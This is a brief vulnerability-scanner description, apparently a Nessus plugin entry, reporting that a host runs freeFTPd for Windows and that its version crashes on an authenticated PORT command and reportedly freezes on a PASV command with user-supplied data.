Description

The remote host appears to be using freeFTPd, a free FTP / FTPS / SFTP server for Windows.

The version of freeFTPd installed on the remote host crashes if it receives a PORT command with a port number from an authenticated user. In addition, the application reportedly will freeze for a period of time if it receives a PASV command with user-supplied data.
